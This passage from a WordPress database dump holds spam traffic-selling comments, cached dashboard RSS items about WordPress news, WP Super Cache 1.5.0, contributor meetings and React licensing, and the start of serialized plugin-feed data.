(217, 1, 'Heidi Wright', 'abrbvlx@pxwxrbkxyj.com', 'http://www.1lnk.net//1ol7', '185.220.70.143', '2018-11-18 23:28:57', '2018-11-18 23:28:57', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your website: http://utiny.ml/1yC - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: https://twe.lv/gg', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(218, 1, 'Alice Lowe', 'adljotzimoz@usxumnr.com', 'http://wntdco.mx/dkfzt', '81.171.58.54', '2018-12-07 06:23:47', '2018-12-07 06:23:47', 'I discovered your Hello world! | Cross Training Center (Namur) page and noticed you could have a lot more traffic. I have found that the key to running a website is making sure the visitors you are getting are interested in your subject matter. We can send you targeted traffic and we let you try it for free. Get over 1,000 targeted visitors per day to your website. Check it out here: http://shortener.ncores.eu/ey																				Unsubscribe here: http://2url.de/1alt', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(219, 1, 'Alice Lowe', 'scyawdv@xggslodtgwg.com', 'http://wntdco.mx/dkfzt', '209.107.214.56', '2018-12-13 14:28:27', '2018-12-13 14:28:27', 'This is a comment to the Hello world! | Cross Training Center (Namur) webmaster. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your website: http://wntdco.mx/dkfzt - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://2url.de/1alt', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0),
(220, 1, 'Kelley Brown', 'vzchzhdg@iaskuw.com', 'http://s.th3kevmaster74.de/2pn4', '64.145.94.153', '2018-12-26 12:07:23', '2018-12-26 12:07:23', 'This is a message to the Hello world! | Cross Training Center (Namur) admin. Your website is missing out on at least 300 visitors per day. Our traffic system will dramatically increase your traffic to your site: http://sp7.site/7 - We offer 500 free targeted visitors during our free trial period and we offer up to 30,000 targeted visitors per month. Hope this helps :)											 					Unsubscribe here: http://sp7.site/8', 0, '0', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', '', 0, 0);

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INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
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(121514, '_transient_dash_4077549d03da2e451c8b5f002294ff51', '&lt;div class=\&quot;rss-widget\&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wordpress.org/news/2017/07/the-month-in-wordpress-june-2017/\' title=\'We’re starting a new regular feature on this blog today. We’d like to keep everyone up-to-date about the happenings all across the WordPress open source project and highlight how you can get involved, so we’ll be posting a roundup of all the major WordPress news at the end of every month. Aside from other general […]\'&gt;The Month in WordPress: June 2017&lt;/a&gt; &lt;span class=\&quot;rss-date\&quot;&gt;July 3, 2017&lt;/span&gt;&lt;div class=\'rssSummary\'&gt;We’re starting a new regular feature on this blog today. We’d like to keep everyone up-to-date about the happenings all across the WordPress open source project and highlight how you can get involved, so we’ll be posting a roundup of all the major WordPress news at the end of every month. Aside from other general […]&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wordpress.org/news/2017/06/evans/\' title=\'An Update with You in Mind Gear up for a more intuitive WordPress! Version 4.8 of WordPress, named “Evans” in honor of jazz pianist and composer William John “Bill” Evans, is available for download or update in your WordPress dashboard. New features in 4.8 add more ways for you to express yourself and represent your brand. Though some […]\'&gt;WordPress 4.8 “Evans”&lt;/a&gt; &lt;span class=\&quot;rss-date\&quot;&gt;June 8, 2017&lt;/span&gt;&lt;div class=\'rssSummary\'&gt;An Update with You in Mind Gear up for a more intuitive WordPress! Version 4.8 of WordPress, named “Evans” in honor of jazz pianist and composer William John “Bill” Evans, is available for download or update in your WordPress dashboard. New features in 4.8 add more ways for you to express yourself and represent your brand. Though some […]&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;', 'no'),
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(121519, '_transient_dash_aa95765b5cc111c56d5993d476b1c2f0', '&lt;div class=\&quot;rss-widget\&quot;&gt;&lt;ul&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://odd.blog/2017/07/19/wp-super-cache-1-5-0/\' title=\'WP Super Cache is a fast full-page caching plugin for WordPress. Download it from your dashboard or get it here. Version 1.5.0 has been in development for some time. It has a ton of bug fixes and new features.  REST API The headline new feature is REST API access to the settings. This will allow developers to create their own interface to the settings of the plugin. Unfortunately it isn’t yet documented but you can see the code in the rest directory. Start with load.php where you’ll find the code that registers all the endpoints. Users who access the API must be logged in as admin users. If you want to test the API, see the end of this post. Settings Page We have also simplified the settings page to make it easier to choose which caching method is used.   Instead of maybe confusing the user with technical words like PHP, mod_rewrite and WP-Cache we have split them up into “Simple” and “Expert” delivery methods, and done away with mentioning WP-Cache completely. Simple delivery uses PHP, expert uses mod_rewrite and well, WP-Cache got the boot because it’s always active anyway. WP-Cache caching is always active, but it can be disabled in different ways.   Disable caching for known users.  Don’t cache pages with GET parameters  Disable caching of feeds  Headers We expanded the number of headers cached by the plugin. The list of headers was borrowed from Comet Cache. However, anonymous users will still only see the bare minimum like content-length or content-type. If you need to use security headers like “X-Frame-Options” or “Content-Security-Policy” you should enable caching of HTTP headers. This unfortunately disables super caching so only WP-Caching is used but it’s still very fast (and faster in this release than before which I will get to below). You can also use the “wpsc_known_headers” filter to modify the list of recognised headers. WP-Cache Reorganisation WP-Cache cache files are split into two files – one holds the page content, the other (meta file) holds information about the page such as cookies, headers and url. In the past these files were stored in two directories which could become a problem if there were many thousands of those files. Even with only a few hundred files, maintenance could be an issue as deleting related files (like page archives, or copies of the front page) needed every meta file to be inspected. Now the files are stored in the supercache directory structure that mirrors your permalink structure. Deleting related files is is simpler and serving files will be faster as the operating system won’t need to open a directory of thousands of files. If you currently rely on WP-Cache files, the plugin will still look for them where they are, but new WP-Cache files will be created in cache/supercache/example.com/ (where example.com is your hostname). Sitemaps We added support for caching sitemaps, but your sitemap plugin will need to cooperate to get it to work. The sitemap plugin needs to identify the sitemap request as a feed. Jetpack 5.1 now supports this since #7397. You can disable the caching by excluding feeds from caching. Debugging Improved The debug log is now protected by a username/password. For convenience, the username and password are the same but they are a long md5 string:  Deleting the log file clears it and resets it ready for more logging. Before, toggling debugging would create a new debug log and the old one would be kept around, but not linked, until deleted by garbage collection, and of course they were text files anyone could access. This release includes lots of other small bug fixes and changes. Take a look at the number of closed PRs for an exhaustive list of those changes! Testing the REST API There are a number of ways to send POST requests to a web server but one I like is using curl in a shell script. You’ll need two bits of information from the website:   The “wordpress_logged_in” cookie from your browser.  The wp_rest nonce which you can get by adding `echo wp_create_nonce( ‘wp_rest’ );` somewhere on your site where you’re logged in. It’s good for 24 hours.  My test script looks something like this: export NONCE=&amp;#039;1234567890&amp;#039; export COOKIE=&amp;#039;wordpress_logged_in_xxxxxxxxxxxxxxxxxxxx=1234567890&amp;#039; curl -v -X &amp;quot;GET&amp;quot; -H &amp;quot;Content-Type: application/json&amp;quot; -H &amp;quot;X-WP-Nonce: $NONCE&amp;quot; -H &amp;quot;Cache-Control: no-cache&amp;quot; -H &amp;quot;Cookie: wordpress_test_cookie=WP+Cookie+check; $COOKIE&amp;quot; \\ -d &amp;#039;{}&amp;#039; &amp;quot;https://example.com/wp-json/wp-super-cache/v1/settings/&amp;quot;  Related Posts WP Super Cache 0.8.4, the garbage collector WP Super Cache 0.8.7 WP Super Cache 0.9.9 Source\'&gt;Donncha: WP Super Cache 1.5.0&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://heropress.com/essays/becoming-myself-again/?utm_source=rss&amp;#038;utm_medium=rss&amp;#038;utm_campaign=becoming-myself-again\' title=\'It’s so easy to become secluded and sit at home, in your own bubble, but it wasn’t until a group of people literally pulled me in with their welcoming atmosphere and demeanor, that I realised that I could function amongst other people as well (even if it was somewhat limited). In The Beginning To understand my bubble, you need to also know a little about me, or rather, about my childhood. I had a less than ideal childhood. I have a great family, lived in a great house, even in the “best country in the world” as they say. And despite this, I say I wasn’t happy with my childhood. My school years were the reason, they were rough. At times I think back and feel like events that unfolded were parts of ridiculous scenes from an over the top movie. All in all, the days seemed generic enough, except my school days were a thing of dread. I would suffer physical and verbal abuse throughout my schooldays, even going to and from school, I had no real friends (victim by association is understandably not something a child would want to intentionally walk into. I understand this as an adult, but as a child it’s not that easy). Because of my treatment over the years, I developed trust issues, I got a fear for everyone around me, and it was growing stronger and stronger over the years. I suppressed it, I lied about it, and I got terrifyingly good at the lying part. This is why I was drawn to the internet: I didn’t have to interact with people, I didn’t need to go outside where the others were, I could just do my thing and move on. I could live in my own bubble. Finding WordPress But then the darndest thing happened. I’d been stuck on a project, I needed help, and I turned to a support room for an open source project, for WordPress. If you’ve ever tried to get help in a chat before, you’ll know what kind of an experience it can be, the snarky reactions to your code, the nitpicking of using the wrong terminology, it’s not fun. This place though, they didn’t care that I was not only using the wrong terms, but my entire code was a horrible mess. Where I would usually get the help I needed and move on, popping back in my bubble of solitude, I instead wanted to be like these people, I wanted to use what I learnt to let others get helped. Over the years, I all but devote myself to that place. Nobody knew me, I liked staying under the radar, but eventually I got pushed into a team meeting. I was intrigued, so I would watch, I’d say hi, and progressively make my opinions heard. Yet, I would stick to my bubble, once the meeting was over I was back on my own. And Then I Went To WordCamp Until I got to attend my first big WordCamp, the last one held in San Francisco, I was ecstatic! I’d never been to a big conference before, as I didn’t like crowds, but I knew some of the people who would be there. They were people who had been friendly and inviting in the most genuine way imaginable. It’s not easy being worried whenever you’re out amongst people, but this group of people, this community, I didn’t have that fear around them. I somehow made WordCamps my safe space. They are where I can, if only for a short while, leave that bubble, leave the need to be alone, and be a part of something great! I use them as fuel to get through the hard times, I can look forward to meeting people, people who value my opinions and my experience. People who genuinely want to listen and most of all, care about you! The WordPress community is, slowly but surely, helping me get rid of my ingrown fear of the unknown, of others. The community is helping me become myself again. The post Becoming Myself Again appeared first on HeroPress.\'&gt;HeroPress: Becoming Myself Again&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/new-wordpress-contributors-meeting-provides-opportunities-to-ask-questions-and-learn-the-ropes\' title=\'Contributing to WordPress or other open source projects can be intimidating for first-time contributors. Sometimes, all you need is a helping hand to overcome fear, intimidation, or other barriers. In 2013, with the help of Konstantin Obenland, a WordPress core developer, I overcame my fear and contributed my first patch to WordPress. This is one of the principles behind a new weekly meeting that is geared towards new contributors. “The new contributors meeting is the perfect place to come if you are new to contributing to WordPress core and have questions,” Adam Silverstein, WordPress core contributor, said. Every Wednesday at 3PM Eastern Daylight Time, users can visit the #core WordPress Slack channel and ask questions related to patches, tickets, and review the good-first-bugs report on Trac. The first meeting was held on July 5th where participants asked questions about working with Git in WordPress core, applying patches, and unit testing. In the second meeting, participants discussed whether or not new contributors are allowed to make changes to tickets. Other topics mentioned include, which repositories to use, clarification on contributing to core versus updating the WordPress Developer’s site, and which tickets to select for review. The next meeting is on Wednesday, July 19th at 3PM Eastern. If you have any questions on how to contribute to WordPress, be sure to join the WordPress #core Slack channel at that time and ask away. Meeting notes with links to discussions, tickets mentioned, and other resources are published on the Make WordPress Core blog under the #new-contributors tag \'&gt;WPTavern: New WordPress Contributors Meeting Provides Opportunities to Ask Questions and Learn the Ropes&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/wp-rollback-adds-multisite-compatibility-and-changelog-preview\' title=\' In the two years since WP Rollback launched on WordPress.org, the plugin has racked up more than 30,000 active installations with nearly all 5-star reviews. It allows users to roll back any WordPress.org plugin or theme to a previous version with just a few clicks and also supports beta versions of plugins. It’s easy to see why the plugin is so popular. Navigating buggy updates is a natural part of life when maintaining a self-hosted website and not all users have a separate testing environment for their websites. This tool gives them a basic diagnostic tool and the confidence to apply updates knowing they can easily roll it back in case of a problem. Many reviewers cite the plugin as having been “a lifesaver” when applying WooCommerce or Yoast SEO updates that had unexpected results. The lone one-star review of WP Rollback was given because the user anticipated multisite compatibility and was unable to get it to work. That issue has been solved in the latest update. WP Rollback 1.5 is fully compatible with multisite networks, giving super admins the ability to roll back extensions from the network plugin/themes screen or from the the plugins/themes screen of the primary site in the network. Sub-sites do not have the ability to roll back plugins and themes for the entire network. The UI for rolling back themes on the network admin screen is identical to the plugin screens, as multisite doesn’t have the fancy theme preview screen that single site installs have. Version 1.5 also adds the ability for users to preview the changelog for previous versions of a plugin. This makes it convenient for users to quickly view the changes for each version without leaving the admin.  WordImpress, the folks behind WP Rollback, have considered adding core rollbacks and database savepoints, but both features have serious potential drawbacks that could turn it into a high support-demanding plugin. In its current state, the plugin is virtually support-free. Matt Cromwell, Head of Support and Community Outreach at WordImpress, said the team thought about monetizing the plugin in the beginning, but is not pursing any plans to do so at this time. “We think of it as just one of the many ways we are giving back to the WP community,” Cromwell said. “Our preference would be for the core team to consider it as a potential feature plugin for eventual core inclusion.” Cromwell said WordImpress hasn’t made any intentional steps to see if core folks are interested in WP Rollback becoming a feature plugin, but the team has purposely built it to be as close to core standards as possible. He believes it would be relatively easy to implement in WordPress. Suggestions for new features, general feedback, and bug reports are welcome on WP Rollback’s GitHub repository. The plugin’s authors recommend backing up your site before using it to rollback plugins and themes or testing rollbacks on a staging site first. WP Rollback is not capable of rolling back changes a plugin update has made to the database, so a backup can come in handy if the database changes are incompatible with previous versions. \'&gt;WPTavern: WP Rollback Adds Multisite Compatibility and Changelog Preview&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a class=\'rsswidget\' href=\'https://wptavern.com/react-users-petition-facebook-to-re-license-react-js-after-apache-software-foundation-bans-bsdpatents-license-in-dependencies\' title=\' The Apache Software Foundation issued a notice over the weekend, indicating that it has added Facebook’s BSD+Patents license to its Category X list of disallowed licenses for Apache PMC members. This is the license that Facebook uses for most of its open source projects. A representative from Facebook’s RocksDB team commented on the Apache Foundation’s post to advise that the project will meet the August 31st deadline for relicensing in order to be in compliance with Apache PMC member requirements, and that change has been committed today: The RocksDB team is adjusting the licensing such that it will be dual-licensed under the Apache 2 and GPL 2 (for MySQL compatibility) licenses. This should happen shortly and well ahead of August 31st. I’ll leave the history and philosophy around licensing alone since it’s generally a complex discussion to have and I’m not sure that it has actually been fully captured in this thread especially vis a vis Facebook’s intent. Hopefully this morning’s guidance to PMCs can be adjusted since I don’t think any of us see a bunch of extra engineering effort as a desirable thing across the ASF projects which are already making use of RocksDB In light of the ASF Legal Affairs Committee’s decision to disallow the BSD+Patents License in Apache projects, ASF member Joan Touzet opened an issue on the React repository urging Facebook to consider re-licensing React.js under Apache License v2.0 and GPL 2:  This has led to a lot of upset and frustration in the Apache community, especially from projects requiring similarly-licensed code as direct dependencies – the chief of these being RocksDB. We (the Apache Software Foundation) have just received word that RocksDB will be re-licensing their code under the dual Apache License v2.0 and GPL 2 licenses. As a user of React.JS in an ASF top-level project (Apache CouchDB), please consider re-licensing React.JS under similar terms. Otherwise, many ASF projects such as our own will have to stop relying on and building with React. Although the re-licensing of RocksDB solves that particular project’s problem, ASF’s ban of Facebook’s BSD+Patents license means other widely used technologies from Facebook, including React.js, are still banned. This is likely to cause problems for many open source projects. Harshavardhana, from the Minio team, commented in support of the petition to Facebook for re-licensing React. “Our object storage browser UI is based on React and we are Apache 2.0 licensed,” he said. “It would be unfortunate and time consuming to migrate but we will have to do that in lieu of new information regarding Apache incompatibility. Please consider re-licensing React.” Contributors to Om, a ClojureScript interface for React, are also discussing whether or not the ASF’s new requirements will affect their project. Greg Stein, commenting on behalf of ASF, clarified the reasons behind the organization’s decision to ban Facebook’s BSD+Patents license: Please note that the ASF chose this path for policy reasons, rather than “license incompatibility”. We don’t want downstream users of Apache code to be surprised by the PATENTS grant that (was) in RocksDB and (is) in React. Users should only need to follow the ALv2, with no further constraints. These license can work together (IMO) and simply provide two sets of restrictions upon users. Stein said it was not ASF’s lawyers who made the decision but rather the organization’s policy decision to “disallow FB/BSD+Patent license to be mixed into the software the Foundation releases to users.” Facebook is Internally Discussing the Re-Licensing Matter Dan Abramov, co-author of Redux, Create React App, and React Hot Loader, joined the discussion on GitHub regarding re-licensing with a brief and ambiguous summary about how Facebook is handling the petition to re-license. “To give you a small update, there are going to be more internal discussions about this for about a week,” Abramov said. “This is about as much as I can say. I wouldn’t be too optimistic about this changing for React but we’ll see. @daveman692 has kindly agreed to provide an update when these discussions are over.” Dropping the patent grant entirely, which would be the most convenient way of solving this issue for open source projects, isn’t likely to happen. React has already gone through re-licensing twice during its short history. It was originally licensed under Apache 2.0 but this was changed in October 2014 to the BSD License plus the patent grant, which included a highly controversial termination provision. In April 2015, the patent grant was changed slightly to allow licensees to continue to use the software in the event that a patent lawsuit did not include a counterclaim against Facebook or its affiliates in a matter unrelated to React.js. The termination provision in Facebook’s BSD+Patents License continues to be unpopular and is regarded suspiciously by many open source project maintainers. When the Drupal project began considering a client-side framework to supersede Backbone.js, Dries Buytaert passed on React based on what he said was “a potentially unacceptable patent clause,” citing pushback from WordPress.com’s Calypso and React contributors. The WordPress open source project has not formally announced its decision on which JavaScript framework will be included in core, but all signs point to React. WordPress’ upcoming Gutenberg editor is built on React and its chief contributors are Automattic employees who work on React-based products for WordPress.com. Gutenberg continues to plough forward at a breakneck pace with no indication of a rewrite, and WordPress co-creator Matt Mullenweg has been outspoken about his preference for using React. Although Automattic’s legal counsel has said the company is comfortable using React for its product under the project’s current license , others in the WordPress community are not as amenable to including the framework in core. The Open Source Initiative (OSI) includes a generic BSD+Patent license listed among its approved licenses, but Facebook’s particular BSD+Patent license has not been submitted. Robert Pierce, a partner at El Camino Legal, contends that the license termination provision ought to be impermissible in an open source license because it exists to protect Facebook from patent litigation that is completely unrelated to React code: Facebook touts React.js as open source software. But in my mind the license termination provision of the Additional Grant of Patent Rights takes the offering outside the realm of open source software. The patent license offered in the Additional Grant of Patent Rights (v.2) is conditioned upon the licensee not bringing a patent infringement lawsuit against Facebook or its affiliates. Thus, the licensee pays a price to use the library. It is not a price paid with money. The price demanded by Facebook for use of the library is that the licensee refrain from exercising any of its patent rights against Facebook or its affiliates. Pierce views Facebook’s publication of React source code as leverage to win some protection against patent lawsuits, which he deems to be “too greedy an approach for Facebook to claim open source status.” The open source community has widely speculated about the implications of including Facebook’s BSD+Patent license as a dependency, but the license has not yet been tested in court. The Apache Software Foundation is the first major organization to take a hard line stance on the controversial license and this has caught Facebook’s attention. Facebook representatives have promised an update on the petition for re-licensing after its internal discussions have concluded. \'&gt;WPTavern: React Users Petition Facebook to Re-license React.js after Apache Software Foundation Bans BSD+Patents License in Dependencies&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;', 'no'),
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Plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:29:\&quot;https://wordpress.org/plugins\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:57:\&quot;Plugins extend and expand the functionality of WordPress.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:13:\&quot;lastBuildDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 13:23:32 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:8:\&quot;language\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:5:\&quot;en-US\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:9:\&quot;generator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:40:\&quot;https://wordpress.org/?v=4.9-alpha-41088\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;item\&quot;;a:10:{i:0;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;Ultimate Private Member Portal Lite\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;https://wordpress.org/plugins/ultimate-private-member-portal-lite/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 19 Jul 2017 13:22:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:66:\&quot;https://wordpress.org/plugins/ultimate-private-member-portal-lite/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:104:\&quot;Ultimate Private Member Portal Lite provides the ability to add private content specific for each&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:9:\&quot;nimeshrmr\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2637:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.wpexpertdeveloper.com/ultimate-private-member-portal-lite\&quot; rel=\&quot;nofollow\&quot;&gt;Ultimate Private Member Portal Lite&lt;/a&gt; provides the ability to add private content specific for each user from the backend and display the content only to the user on frontend with a shortcode. Private content on portal supports shortcodes and embeds created from WordPress editor.&lt;/p&gt;\n&lt;h3&gt;About WP Expert Developer&lt;/h3&gt;\n&lt;p&gt;WPExpert Developer is a website and blog created to provide resources from top WordPress developers. Our prmiary goal is to provide top quality resources to WordPress users and guide beginner developers to become experts. You can access many top quality plugins, books, presentations, articles and tutorials at www.wpexpertdeveloper.com. We hope you enjoyed using this plugin. Following section contains some of the other plugins by WPExpert Developer.&lt;/p&gt;\n&lt;blockquote&gt;\n&lt;ul&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.wpexpertdeveloper.com/wp-private-content-pro/\&quot; rel=\&quot;nofollow\&quot;&gt;WP Private Content PRO&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://www.wpexpertdeveloper.com/woocommerce-conditional-payment-methods-pro/\&quot; rel=\&quot;nofollow\&quot;&gt;Conditional Payment Methods PRO for WooCommerce&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;https://goo.gl/FjiZ1N\&quot; rel=\&quot;nofollow\&quot;&gt;User Profiles Made Easy&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;https://wordpress.org/plugins/isearch/\&quot;&gt;ISearch&lt;/a&gt;&lt;/li&gt;\n&lt;li&gt;&lt;a href=\&quot;http://goo.gl/zAHO9Q\&quot; rel=\&quot;nofollow\&quot;&gt;Rich Text Editor Field for Contact Form 7&lt;/a&gt;&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/blockquote&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin files to the &lt;code&gt;/wp-content/plugins/ultimate-private-member-portal-lite&lt;/code&gt; directory, or install the plugin through the WordPress plugins screen directly.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; screen in WordPress&lt;/li&gt;\n&lt;li&gt;Follow the &lt;a href=\&quot;http://www.wpexpertdeveloper.com/ultimate-private-member-portal-lite/\&quot; rel=\&quot;nofollow\&quot;&gt;Documentation and Usage&lt;/a&gt;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;1.0&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Add private content to users private portal&lt;/li&gt;\n&lt;li&gt;Supports shortcodes, videos, audios using WordPress editor&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the plugin files to the &lt;code&gt;/wp-content/plugins/ultimate-private-member-portal-lite&lt;/code&gt; directory, or install the plugin through the WordPress plugins screen directly.&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; screen in WordPress&lt;/li&gt;\n&lt;li&gt;Follow the &lt;a href=\&quot;http://www.wpexpertdeveloper.com/ultimate-private-member-portal-lite/\&quot; rel=\&quot;nofollow\&quot;&gt;Documentation and Usage&lt;/a&gt;.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:1;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;JMB Post 